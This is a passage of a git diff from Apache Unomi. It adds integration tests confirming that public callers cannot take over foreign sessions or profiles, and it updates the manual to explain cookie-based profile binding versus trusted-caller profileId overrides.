from the response) after anonymisation. + */ + @Test + public void testAnonymousBrowsing_visitorKeepsItsOwnSession() throws Exception { + String sessionId = "anon-browsing-session-" + System.currentTimeMillis(); + + ContextRequest firstRequest = new ContextRequest(); + firstRequest.setSessionId(sessionId); + HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL)); + addPublicTenantAuth(establish); + establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(firstRequest), ContentType.APPLICATION_JSON)); + RequestResponse established = executeContextJSONRequest(establish, sessionId); + assertEquals(200, established.getStatusCode()); + String profileId = established.getContextResponse().getProfileId(); + assertNotNull(profileId); + assertNotNull(established.getCookieHeaderValue()); + + // Turn on anonymous browsing for this visitor, exactly as the privacy endpoint would. + privacyService.setRequireAnonymousBrowsing(profileId, true, TEST_SCOPE); + keepTrying("Anonymous browsing should be enabled for the profile", + () -> privacyService.isRequireAnonymousBrowsing(profileId), + Boolean.TRUE::equals, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + + try { + // Same visitor, same cookie, same session: must still be served, and the session kept. + ContextRequest secondRequest = new ContextRequest(); + secondRequest.setSessionId(sessionId); + HttpPost anonymous = new HttpPost(getFullUrl(CONTEXT_URL)); + addPublicTenantAuth(anonymous); + anonymous.addHeader("Cookie", established.getCookieHeaderValue()); + anonymous.setEntity(new StringEntity(getObjectMapper().writeValueAsString(secondRequest), ContentType.APPLICATION_JSON)); + RequestResponse anonymousResponse = executeContextJSONRequest(anonymous, sessionId); + + assertEquals(200, anonymousResponse.getStatusCode()); + assertNotNull("An anonymous visitor's own session must not be refused", + anonymousResponse.getContextResponse().getSessionId()); + assertEquals(sessionId, anonymousResponse.getContextResponse().getSessionId()); + + // And turning anonymity back off must keep working too (the de-anonymising branch). + privacyService.setRequireAnonymousBrowsing(profileId, false, TEST_SCOPE); + keepTrying("Anonymous browsing should be disabled again", + () -> privacyService.isRequireAnonymousBrowsing(profileId), + Boolean.FALSE::equals, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + + ContextRequest thirdRequest = new ContextRequest(); + thirdRequest.setSessionId(sessionId); + HttpPost deanonymised = new HttpPost(getFullUrl(CONTEXT_URL)); + addPublicTenantAuth(deanonymised); + deanonymised.addHeader("Cookie", established.getCookieHeaderValue()); + deanonymised.setEntity(new StringEntity(getObjectMapper().writeValueAsString(thirdRequest), ContentType.APPLICATION_JSON)); + RequestResponse deanonymisedResponse = executeContextJSONRequest(deanonymised, sessionId); + + assertEquals(200, deanonymisedResponse.getStatusCode()); + assertNotNull("Leaving anonymous browsing must not refuse the visitor's own session", + deanonymisedResponse.getContextResponse().getSessionId()); + } finally { + privacyService.setRequireAnonymousBrowsing(profileId, false, TEST_SCOPE); + } + } + + /** + * Personas short-circuit profile binding entirely: the profile and session both come from the + * persona and none of the cookie/body binding logic runs. Nothing covered that path end to end, + * so a change to the binding code could silently break persona preview. + */ + @Test + public void testPersona_contextJsonBindsToThePersona() throws Exception { + String personaId = "it-persona-" + System.currentTimeMillis(); + profileService.createPersona(personaId); + keepTrying("Persona should be created", () -> profileService.loadPersonaWithSessions(personaId), + Objects::nonNull, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + + try { + ContextRequest contextRequest = new ContextRequest(); + HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL) + "?personaId=" + personaId); + addPublicTenantAuth(request); + request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON)); + RequestResponse response = executeContextJSONRequest(request, null); + + assertEquals(200, response.getStatusCode()); + assertEquals("The context response must be bound to the persona, not a live profile", + personaId, response.getContextResponse().getProfileId()); + } finally { + profileService.delete(personaId, true); + } + } + + /** + * profileOverrides / sessionPropertiesOverrides are the preview-UI feature that lets a caller + * temporarily substitute segments, scores and properties. They had no coverage at all, and they + * are only honoured when the active profile is a Persona ({@code ContextJsonEndpoint#processOverrides}), + * which is exactly what keeps a public caller from overriding a real profile. Pin both halves: + * the override applies for a persona, and the persona path is unaffected by the binding rules. + */ + @Test + public void testPersona_profileOverridesAreApplied() throws Exception { + String personaId = "it-persona-overrides-" + System.currentTimeMillis(); + profileService.createPersona(personaId); + keepTrying("Persona should be created", () -> profileService.loadPersonaWithSessions(personaId), + Objects::nonNull, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + + try { + Profile overrides = new Profile(); + overrides.setSegments(new HashSet<>(Arrays.asList("override-segment-a", "override-segment-b"))); + + ContextRequest contextRequest = new ContextRequest(); + contextRequest.setRequireSegments(true); + contextRequest.setProfileOverrides(overrides); + + HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL) + "?personaId=" + personaId); + addPublicTenantAuth(request); + request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON)); + RequestResponse response = executeContextJSONRequest(request, null); + + assertEquals(200, response.getStatusCode()); + assertEquals(personaId, response.getContextResponse().getProfileId()); + assertNotNull("requireSegments must return the segment set", response.getContextResponse().getProfileSegments()); + assertTrue("profileOverrides segments must be reflected for a persona", + response.getContextResponse().getProfileSegments().contains("override-segment-a")); + } finally { + profileService.delete(personaId, true); + } + } + + @Test + public void testPublicCaller_sessionProfileSwitchWithoutMatchingCookie_refused() throws Exception { + String sessionOwnerId = "session-owner-" + System.currentTimeMillis(); + String sessionId = "foreign-session-" + System.currentTimeMillis(); + Profile sessionOwner = new Profile(sessionOwnerId); + profileService.save(sessionOwner); + Session foreignSession = new Session(sessionId, sessionOwner, new Date(), TEST_SCOPE); + profileService.saveSession(foreignSession); + keepTrying("Session owner not found", () -> profileService.load(sessionOwnerId), Objects::nonNull, + DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + keepTrying("Foreign session not found", () -> profileService.loadSession(sessionId), Objects::nonNull, + DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + + ContextRequest cookieEstablish = new ContextRequest(); + cookieEstablish.setSessionId("cookie-session-" + System.currentTimeMillis()); + HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL)); + addPublicTenantAuth(establish); + establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(cookieEstablish), ContentType.APPLICATION_JSON)); + RequestResponse established = executeContextJSONRequest(establish, cookieEstablish.getSessionId()); + String cookieProfileId = established.getContextResponse().getProfileId(); + assertNotEquals(sessionOwnerId, cookieProfileId); + + ContextRequest attempt = new ContextRequest(); + attempt.setSessionId(sessionId); + attempt.setProfileId(cookieProfileId); + HttpPost attemptRequest = new HttpPost(getFullUrl(CONTEXT_URL)); + addPublicTenantAuth(attemptRequest); + attemptRequest.addHeader("Cookie", established.getCookieHeaderValue()); + attemptRequest.setEntity(new StringEntity(getObjectMapper().writeValueAsString(attempt), ContentType.APPLICATION_JSON)); + RequestResponse result = executeContextJSONRequest(attemptRequest, sessionId); + + assertEquals("Public caller must not adopt a foreign session profile", + cookieProfileId, result.getContextResponse().getProfileId()); + Session reloaded = profileService.loadSession(sessionId); + assertEquals("Foreign session ownership must remain unchanged", + sessionOwnerId, reloaded.getProfileId()); + } + + @Test + public void testTrustedPrivateKey_mayOverrideBodyProfileId() throws Exception { + String cookieSessionId = "trusted-cookie-session-" + System.currentTimeMillis(); + ContextRequest first = new ContextRequest(); + first.setSessionId(cookieSessionId); + HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL)); + addPublicTenantAuth(establish); + establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(first), ContentType.APPLICATION_JSON)); + RequestResponse established = executeContextJSONRequest(establish, cookieSessionId); + assertNotNull(established.getCookieHeaderValue()); + + String overrideProfileId = "admin-chosen-profile-" + System.currentTimeMillis(); + Profile overrideProfile = new Profile(overrideProfileId); + profileService.save(overrideProfile); + keepTrying("Override profile not found", () -> profileService.load(overrideProfileId), Objects::nonNull, + DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + + ContextRequest override = new ContextRequest(); + override.setSessionId(cookieSessionId); + override.setProfileId(overrideProfileId); + HttpPost trusted = new HttpPost(getFullUrl(CONTEXT_URL)); + addPrivateTenantAuth(trusted, testTenant, testPrivateKeyValue); + trusted.addHeader("Cookie", established.getCookieHeaderValue()); + trusted.setEntity(new StringEntity(getObjectMapper().writeValueAsString(override), ContentType.APPLICATION_JSON)); + RequestResponse overridden = executeContextJSONRequest(trusted, cookieSessionId, -1, false); + + assertEquals(200, overridden.getStatusCode()); + assertEquals("Trusted private key may select body profileId over cookie", + overrideProfileId, overridden.getContextResponse().getProfileId()); + } + + + + + + /** + * invalidateSession replaces the session bound to the supplied id, so it must not be usable as a + * way around the cookie-ownership rule. + */ + @Test + public void testPublicCaller_invalidateSessionCannotReuseForeignSession() throws Exception { + String ownerId = "invalidate-owner-" + System.currentTimeMillis(); + String foreignSessionId = "invalidate-foreign-session-" + System.currentTimeMillis(); + Profile owner = new Profile(ownerId); + profileService.save(owner); + Session foreignSession = new Session(foreignSessionId, owner, new Date(), TEST_SCOPE); + profileService.saveSession(foreignSession); + keepTrying("Foreign session not found", () -> profileService.loadSession(foreignSessionId), Objects::nonNull, + DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + + // The untrusted caller establishes their own cookie against an unrelated session. + String ownSessionId = "invalidate-public-session-" + System.currentTimeMillis(); + ContextRequest establishReq = new ContextRequest(); + establishReq.setSessionId(ownSessionId); + HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL)); + addPublicTenantAuth(establish); + establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(establishReq), ContentType.APPLICATION_JSON)); + RequestResponse established = executeContextJSONRequest(establish, ownSessionId); + String publicCallerId = established.getContextResponse().getProfileId(); + assertNotEquals(ownerId, publicCallerId); + + ContextRequest reuse = new ContextRequest(); + reuse.setSessionId(foreignSessionId); + HttpPost probe = new HttpPost(getFullUrl(CONTEXT_URL) + "?invalidateSession=true"); + addPublicTenantAuth(probe); + probe.addHeader("Cookie", established.getCookieHeaderValue()); + probe.setEntity(new StringEntity(getObjectMapper().writeValueAsString(reuse), ContentType.APPLICATION_JSON)); + executeContextJSONRequest(probe, foreignSessionId); + + shouldBeTrueUntilEnd("Foreign session ownership must survive invalidateSession from a public caller", + () -> profileService.loadSession(foreignSessionId), + s -> s != null && ownerId.equals(s.getProfileId()), + DEFAULT_TRYING_TIMEOUT, DEFAULT_SHOULDBETRUE_TRIES); + } + + /** + * A refused session is never created, so echoing the requested id back would tell the client its + * session is live and make it replay the same rejected id forever. + */ + @Test + public void testPublicCaller_refusedSessionIsNotEchoedInResponse() throws Exception { + String ownerId = "echo-owner-" + System.currentTimeMillis(); + String foreignSessionId = "echo-foreign-session-" + System.currentTimeMillis(); + Profile owner = new Profile(ownerId); + profileService.save(owner); + Session foreignSession = new Session(foreignSessionId, owner, new Date(), TEST_SCOPE); + profileService.saveSession(foreignSession); + keepTrying("Foreign session not found", () -> profileService.loadSession(foreignSessionId), Objects::nonNull, + DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + + String ownSessionId = "echo-public-session-" + System.currentTimeMillis(); + ContextRequest establishReq = new ContextRequest(); + establishReq.setSessionId(ownSessionId); + HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL)); + addPublicTenantAuth(establish); + establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(establishReq), ContentType.APPLICATION_JSON)); + RequestResponse established = executeContextJSONRequest(establish, ownSessionId); + + ContextRequest attempt = new ContextRequest(); + attempt.setSessionId(foreignSessionId); + HttpPost probe = new HttpPost(getFullUrl(CONTEXT_URL)); + addPublicTenantAuth(probe); + probe.addHeader("Cookie", established.getCookieHeaderValue()); + probe.setEntity(new StringEntity(getObjectMapper().writeValueAsString(attempt), ContentType.APPLICATION_JSON)); + RequestResponse refused = executeContextJSONRequest(probe, foreignSessionId); + + assertEquals(200, refused.getStatusCode()); + assertNull("A refused session id must not be echoed back to the client", + refused.getContextResponse().getSessionId()); + } + @Test public void testCreateEventWithProfileId_Success() throws Exception { //Arrange @@ -432,16 +763,36 @@ public void testCreateEventWithProfileId_Success() throws Exception { contextRequest.setProfileId(TEST_PROFILE_ID); contextRequest.setEvents(Arrays.asList(event)); - //Act + //Act — body profileId binding for a chosen id requires a trusted caller HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL)); - addPublicTenantAuth(request); + addPrivateTenantAuth(request, testTenant, testPrivateKeyValue); request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON)); - executeContextJSONRequest(request); + executeContextJSONRequest(request, null, -1, false); keepTrying("Profile " + TEST_PROFILE_ID + " not found in the required time", () -> profileService.load(TEST_PROFILE_ID), Objects::nonNull, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); } + @Test + public void testPublicCaller_bodyProfileIdWithoutCookie_rejected() throws Exception { + String otherId = "body-only-other-" + System.currentTimeMillis(); + Profile other = new Profile(otherId); + other.setProperty("email", "other-body-only@example.com"); + profileService.save(other); + keepTrying("Other not found", () -> profileService.load(otherId), Objects::nonNull, + DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + + ContextRequest probe = new ContextRequest(); + probe.setProfileId(otherId); + probe.setRequiredProfileProperties(Collections.singletonList("*")); + HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL)); + addPublicTenantAuth(request); + request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(probe), ContentType.APPLICATION_JSON)); + // Body profileId is ignored for public callers; with no cookie/session → 400, not other data + RequestResponse response = executeContextJSONRequest(request, null, 400, false); + assertEquals(400, response.getStatusCode()); + } + @Test public void testCreateEventWithPropertiesValidation_Success() throws Exception { //Arrange @@ -489,11 +840,11 @@ public void testCreateEventWithPropertyValueValidation_Failure() throws Exceptio contextRequest.setProfileId(profileId); contextRequest.setEvents(Arrays.asList(event)); - //Act + //Act — body profileId requires trusted auth; withAuth=false so the public key is not also attached HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL)); addPrivateTenantAuth(request, testTenant, testPrivateKeyValue); request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON)); - executeContextJSONRequest(request); + executeContextJSONRequest(request, null, -1, false); //Assert shouldBeTrueUntilEnd("Event should be null", () -> eventService.getEvent(eventId), Objects::isNull, DEFAULT_TRYING_TIMEOUT, @@ -516,11 +867,11 @@ public void testCreateEventWithPropertyNameValidation_Failure() throws Exception contextRequest.setProfileId(profileId); contextRequest.setEvents(Arrays.asList(event)); - //Act + //Act — body profileId requires trusted auth; withAuth=false so the public key is not also attached HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL)); addPrivateTenantAuth(request, testTenant, testPrivateKeyValue); request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON)); - executeContextJSONRequest(request); + executeContextJSONRequest(request, null, -1, false); //Assert shouldBeTrueUntilEnd("Event should be null", () -> eventService.getEvent(eventId), Objects::isNull, DEFAULT_TRYING_TIMEOUT, @@ -581,9 +932,11 @@ public void testPersonalization() throws Exception { @Test public void testScorePersonalizationStrategy_Interests() throws Exception { // Test request before adding interests to current profile. + // JSON binds profileId in the body — requires trusted caller (public ignores body profileId). HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL)); + addPrivateTenantAuth(request, testTenant, testPrivateKeyValue); request.setEntity(new StringEntity(getValidatedBundleJSON("personalization-score-interests.json", null), ContentType.APPLICATION_JSON)); - TestUtils.RequestResponse response = executeContextJSONRequest(request); + TestUtils.RequestResponse response = executeContextJSONRequest(request, null, -1, false); ContextResponse contextResponse = response.getContextResponse(); List variants = contextResponse.getPersonalizations().get("perso-by-interest"); assertEquals("Invalid response code", 200, response.getStatusCode()); @@ -600,8 +953,9 @@ public void testScorePersonalizationStrategy_Interests() throws Exception { // check results of the perso now request = new HttpPost(getFullUrl(CONTEXT_URL)); + addPrivateTenantAuth(request, testTenant, testPrivateKeyValue); request.setEntity(new StringEntity(getValidatedBundleJSON("personalization-score-interests.json", null), ContentType.APPLICATION_JSON)); - response = executeContextJSONRequest(request); + response = executeContextJSONRequest(request, null, -1, false); contextResponse = response.getContextResponse(); variants = contextResponse.getPersonalizations().get("perso-by-interest"); assertEquals("Invalid response code", 200, response.getStatusCode()); @@ -637,8 +991,9 @@ public void testScorePersonalizationStrategy_Interests() throws Exception { // re test now that profiles has interests request = new HttpPost(getFullUrl(CONTEXT_URL)); + addPrivateTenantAuth(request, testTenant, testPrivateKeyValue); request.setEntity(new StringEntity(getValidatedBundleJSON("personalization-score-interests.json", null), ContentType.APPLICATION_JSON)); - response = executeContextJSONRequest(request); + response = executeContextJSONRequest(request, null, -1, false); contextResponse = response.getContextResponse(); variants = contextResponse.getPersonalizations().get("perso-by-interest"); assertEquals("Invalid response code", 200, response.getStatusCode()); @@ -675,8 +1030,9 @@ public void testRequireScoring() throws Exception { // first let's make sure everything works without the requireScoring parameter parameters = new HashMap<>(); HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL)); + addPrivateTenantAuth(request, testTenant, testPrivateKeyValue); request.setEntity(new StringEntity(getValidatedBundleJSON("withoutRequireScores.json", parameters), ContentType.APPLICATION_JSON)); - TestUtils.RequestResponse response = executeContextJSONRequest(request); + TestUtils.RequestResponse response = executeContextJSONRequest(request, null, -1, false); assertEquals("Invalid response code", 200, response.getStatusCode()); assertNotNull("Context response should not be null", response.getContextResponse()); @@ -686,8 +1042,9 @@ public void testRequireScoring() throws Exception { // now let's test adding it. parameters = new HashMap<>(); request = new HttpPost(getFullUrl(CONTEXT_URL)); + addPrivateTenantAuth(request, testTenant, testPrivateKeyValue); request.setEntity(new StringEntity(getValidatedBundleJSON("withRequireScores.json", parameters), ContentType.APPLICATION_JSON)); - response = executeContextJSONRequest(request); + response = executeContextJSONRequest(request, null, -1, false); assertEquals("Invalid response code", 200, response.getStatusCode()); assertNotNull("Context response should not be null", response.getContextResponse()); @@ -874,7 +1231,8 @@ public void testContextEndpointAuthentication() throws Exception { // Test with JAAS authentication (should succeed) BasicCredentialsProvider credsProvider = new BasicCredentialsProvider(); - credsProvider.setCredentials(AuthScope.ANY, new UsernamePasswordCredentials("karaf", "karaf")); + credsProvider.setCredentials(AuthScope.ANY, + new UsernamePasswordCredentials(BASIC_AUTH_USER_NAME, BASIC_AUTH_PASSWORD)); RequestConfig requestConfig = RequestConfig.custom() .setAuthenticationEnabled(true) @@ -922,13 +1280,15 @@ private void performPersonalizationWithControlGroup(Map controlG // Test normal personalization should not have control group info in response HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL)); + // JSON fixtures bind profileId in the body — requires trusted caller (public ignores body profileId). + addPrivateTenantAuth(request, testTenant, testPrivateKeyValue); if (controlGroupConfig != null) { request.setEntity(new StringEntity(getValidatedBundleJSON("personalization-control-group.json", controlGroupConfig), ContentType.APPLICATION_JSON)); } else { request.setEntity(new StringEntity(getValidatedBundleJSON("personalization-no-control-group.json", null), ContentType.APPLICATION_JSON)); } - TestUtils.RequestResponse response = executeContextJSONRequest(request); + TestUtils.RequestResponse response = executeContextJSONRequest(request, null, -1, false); ContextResponse contextResponse = response.getContextResponse(); // Check variants @@ -978,23 +1338,31 @@ public void testConcealedProperties() throws Exception { contextRequest.setProfileId(profile.getItemId()); contextRequest.setSessionId(sessionId); HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL)); + // Body profileId requires trusted caller (public ignores body profileId). + addPrivateTenantAuth(request, testTenant, testPrivateKeyValue); request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON)); - assertEquals(executeContextJSONRequest(request, sessionId).getContextResponse().getProfileProperties().get("customProperty"), ("concealedValue")); + assertEquals(executeContextJSONRequest(request, sessionId, -1, false).getContextResponse().getProfileProperties().get("customProperty"), ("concealedValue")); // set the property as concealed customPropertyType.getMetadata().getSystemTags().add("concealed"); profileService.deletePropertyType(customPropertyType.getItemId()); profileService.setPropertyType(customPropertyType); // Not in all properties + request = new HttpPost(getFullUrl(CONTEXT_URL)); + addPrivateTenantAuth(request, testTenant, testPrivateKeyValue); request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON)); - assertNull(executeContextJSONRequest(request, sessionId).getContextResponse().getProfileProperties().get("customProperty")); + assertNull(executeContextJSONRequest(request, sessionId, -1, false).getContextResponse().getProfileProperties().get("customProperty")); // Got it explicitly contextRequest.setRequiredProfileProperties(Arrays.asList("customProperty")); + request = new HttpPost(getFullUrl(CONTEXT_URL)); + addPrivateTenantAuth(request, testTenant, testPrivateKeyValue); request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON)); - assertEquals(executeContextJSONRequest(request, sessionId).getContextResponse().getProfileProperties().get("customProperty"), ("concealedValue")); + assertEquals(executeContextJSONRequest(request, sessionId, -1, false).getContextResponse().getProfileProperties().get("customProperty"), ("concealedValue")); // Got it with all contextRequest.setRequiredProfileProperties(Arrays.asList("*", "customProperty")); + request = new HttpPost(getFullUrl(CONTEXT_URL)); + addPrivateTenantAuth(request, testTenant, testPrivateKeyValue); request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON)); - assertEquals(executeContextJSONRequest(request, sessionId).getContextResponse().getProfileProperties().get("customProperty"), ("concealedValue")); + assertEquals(executeContextJSONRequest(request, sessionId, -1, false).getContextResponse().getProfileProperties().get("customProperty"), ("concealedValue")); // remove the concealed tag on the property type customPropertyType.getMetadata().getSystemTags().remove("concealed"); @@ -1003,8 +1371,10 @@ public void testConcealedProperties() throws Exception { // Got it from all properties contextRequest.setRequiredProfileProperties(Arrays.asList("*")); + request = new HttpPost(getFullUrl(CONTEXT_URL)); + addPrivateTenantAuth(request, testTenant, testPrivateKeyValue); request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON)); - assertEquals(executeContextJSONRequest(request, sessionId).getContextResponse().getProfileProperties().get("customProperty"), ("concealedValue")); + assertEquals(executeContextJSONRequest(request, sessionId, -1, false).getContextResponse().getProfileProperties().get("customProperty"), ("concealedValue")); } @Test diff --git a/itests/src/test/java/org/apache/unomi/itests/CorePersistenceITs.java b/itests/src/test/java/org/apache/unomi/itests/CorePersistenceITs.java index 6cc692a0d1..f4634d1f4b 100644 --- a/itests/src/test/java/org/apache/unomi/itests/CorePersistenceITs.java +++ b/itests/src/test/java/org/apache/unomi/itests/CorePersistenceITs.java @@ -57,6 +57,7 @@ ModifyConsentIT.class, PatchIT.class, ContextServletIT.class, + ContextEndpointBaselineIT.class, SecurityIT.class, RuleServiceIT.class, PrivacyServiceIT.class, diff --git a/manual/src/main/asciidoc/builtin-event-types.adoc b/manual/src/main/asciidoc/builtin-event-types.adoc index 800c1b3fed..92c5bf6a61 100644 --- a/manual/src/main/asciidoc/builtin-event-types.adoc +++ b/manual/src/main/asciidoc/builtin-event-types.adoc @@ -23,7 +23,9 @@ This event should be “secured”, meaning that it should not be accepted from Usually, the login event will contain information passed by the authentication server and may include user properties and any additional information. Rules may be set up to copy the information from the event into the profile, but this is not done in the default set of rules provided by Apache Unomi for security reasons. -You can find an example of such a rule here: https://github.com/apache/unomi/blob/master/samples/login-integration/src/main/resources/META-INF/cxs/rules/exampleLogin.json[https://github.com/apache/unomi/blob/master/samples/login-integration/src/main/resources/META-INF/cxs/rules/exampleLogin.json] +You can find an example of such a rule here: +https://github.com/apache/unomi/blob/master/samples/login-integration/src/main/resources/META-INF/cxs/rules/exampleLogin.json[exampleLogin.json] +(see <<_login_sample,Login sample>> — the event must be sent from a trusted server-side caller). ===== Structure overview @@ -240,7 +242,9 @@ image::form-event-type.png[] This event is usually used by user interfaces that make it possible to modify profile properties, for example a form where a user can edit his profile properties, or a management UI to modify. -Note that this event type is a protected event type that is only accepted from configured third-party servers. +Note that this event type is a protected event type that is only accepted from configured third-party servers +(or equivalently from a trusted private-key / administrator caller in 3.1). Cross-profile updates and +`systemProperties.*` writes also require a trusted caller — see <<_client_facing_hardening_3_1,client-facing hardening>>. ===== Structure definition diff --git a/manual/src/main/asciidoc/how-profile-tracking-works.adoc b/manual/src/main/asciidoc/how-profile-tracking-works.adoc index 587ba0f9b6..3b7c35f4c8 100644 --- a/manual/src/main/asciidoc/how-profile-tracking-works.adoc +++ b/manual/src/main/asciidoc/how-profile-tracking-works.adoc @@ -122,7 +122,7 @@ Starting with Apache Unomi 3.1, tenant resolution is mandatory for all requests 3. **Tenant ID Header** (When using JAAS authentication): * Send the `X-Unomi-Tenant-Id` header with the tenant ID - * Used when authenticating via JAAS (e.g., `karaf:karaf`) + * Used when authenticating via JAAS (e.g., the `karaf` user and your configured `UNOMI_ROOT_PASSWORD`) * The tenant ID must exist in the system If no tenant can be resolved, the request will fail with an `UNAUTHORIZED` (401) error. This ensures that all data operations are scoped to the correct tenant in multi-tenant deployments. @@ -173,7 +173,7 @@ The tenant is resolved from the Basic Auth credentials (`mytenant` is the tenant [source,bash] ---- curl -X POST http://localhost:8181/cxs/context.json?sessionId=1234 \ ---user "karaf:karaf" \ +--user "karaf:$UNOMI_ROOT_PASSWORD" \ -H "X-Unomi-Tenant-Id: mytenant" \ -H "Content-Type: application/json" \ -d '{ @@ -232,24 +232,26 @@ end note [IMPORTANT] ==== -At least one of the following must be provided in the request: `sessionId`, `profileId` (as a parameter or in a cookie), or `personaId`. If none of these are provided, the request will fail with a `BadRequestException` (400 error). +At least one of the following must be provided in the request: `sessionId`, a profile cookie (`context-profile-id` by default), a body/query `profileId` **from a trusted caller**, or `personaId`. If none of these are available after public-caller rules below, the request fails with a `BadRequestException` (400). ==== Apache Unomi attempts to identify the visitor's profile through the following process: -1. **Profile ID Resolution**: - * First checks for a `profileId` parameter in the request - * If not found, looks for a cookie named `context-profile-id` (configurable via `org.apache.unomi.profile.cookie.name`) - * Cookie values are validated against a JSON schema - invalid values (e.g., containing script tags) will cause a `400 Bad Request` error - * The resolved profile ID is used to attempt loading the profile from the database +1. **Profile ID Resolution** (public vs trusted callers): + * **Public callers** (public API key / unauthenticated context): the profile cookie is the **only** profile bearer. A body or query `profileId` is **ignored** (even when no cookie is present). + * **Trusted callers** (system administrator or tenant private-key / `TENANT_ADMINISTRATOR`): an explicit body/query `profileId` is honored and may differ from the cookie. + * Cookie name defaults to `context-profile-id` (configurable via `org.apache.unomi.profile.cookie.name`). + * Cookie values are validated against a JSON schema — invalid values (for example containing script tags) cause a `400 Bad Request`. + * The resolved profile ID is used to attempt loading the profile from the database. 2. **Session Profile Override** (if session exists): - * If a session is found (see Step 2) and contains a profile ID that differs from the cookie/profileId parameter - * Apache Unomi uses the session's profile ID instead (this handles cases where a user switches accounts) - * The profile is reloaded from the database using the session's profile ID + * If a session is found (see Step 2) and its profile differs from the request profile, Unomi switches to the session profile **only when**: + ** the profile cookie already matches the session owner, **or** + ** the caller is trusted (and is not keeping an explicit trusted body `profileId` override). + * Otherwise the session is **detached** for this request (Unomi does not adopt a foreign session profile for a public caller). 3. **Profile Creation**: If no profile ID is found or the profile doesn't exist: - * If a profile ID was provided (from parameter or cookie) but doesn't exist in the database, creates a new profile with that ID + * If a profile ID was provided (from cookie, or from a trusted body/query `profileId`) but doesn't exist in the database, creates a new profile with that ID * If no profile ID was found, generates a new UUID as the profile ID and creates a new profile * Sets the `firstVisit` property to the current timestamp * Marks the profile for persistence @@ -259,9 +261,20 @@ This ensures that profiles are always available for processing, even for first-t [IMPORTANT] ==== -The profile ID is always server-generated (UUID format). Even if a client sends a custom profile ID in a cookie or parameter, Apache Unomi validates it exists in the database. If it doesn't exist, a new profile is created (potentially with that ID if provided via parameter, or with a newly generated UUID). This makes profile IDs secure and prevents profile ID manipulation. +For **public** callers, do not rely on body/query `profileId` as identity — always send the profile cookie (browsers do this automatically when credentials are included). To act as a specific profile from a backend or admin tool, authenticate as a **trusted** caller (tenant private key or system administrator) and then send `profileId`. See <<_migrate_from_3_0_to_3_1,Migrate from 3.0 to 3.1>> for client migration notes. ==== +====== Why the cookie is safer than a body `profileId` for public callers + +On public `/context.json` and `/eventcollector` endpoints, the profile id is a **bearer** identifier: whoever presents it can continue that visitor's tracking context. Unomi therefore prefers the **HTTP cookie** over a body or query `profileId` for public traffic: + +* **Browser-enforced delivery** — Once `Set-Cookie` has established the profile cookie (with `HttpOnly` and `SameSite` by default), the browser attaches it on later requests to Unomi. Application JavaScript does not need to copy the id into JSON, so routine front-end code is less likely to mishandle or over-share it. +* **Harder for page script to exfiltrate** — With `HttpOnly` (the default), script running in the page cannot read the cookie via `document.cookie`. A body/query `profileId` is application-controlled data: anything that can influence the request payload can try to point at another profile id. +* **Clearer trust boundary** — Public callers prove continuity with the cookie the server previously issued. Selecting an arbitrary id in the body blurred that boundary (knowing or guessing a UUID was enough). Trusted callers (private key / system admin) may still pass `profileId` explicitly when a backend intentionally acts on a chosen profile. +* **Fewer accidental leaks in URLs and logs** — Query-string `profileId` values show up in browser history, proxies, and access logs more often than `Cookie` headers. Prefer the cookie (and read `profileId` from the JSON **response** when your app needs the value in memory). + +Body/query `profileId` remains appropriate for **authenticated** integrations that are supposed to bind a specific profile under operator control — not for anonymous browser trackers. + ===== Example: Profile Identification **Example 1: First-Time Visitor (No Cookie)** @@ -327,13 +340,15 @@ curl -X POST http://localhost:8181/cxs/context.json?sessionId=1234 \ Apache Unomi loaded the existing profile using the profile ID from the cookie. -**Example 3: Using profileId Parameter** +**Example 3: Trusted caller using body/query `profileId`** + +Public callers must send the cookie (Example 2). A trusted caller (tenant private key) may select a profile explicitly: [source,bash] ---- -# Request with explicit profileId parameter +# 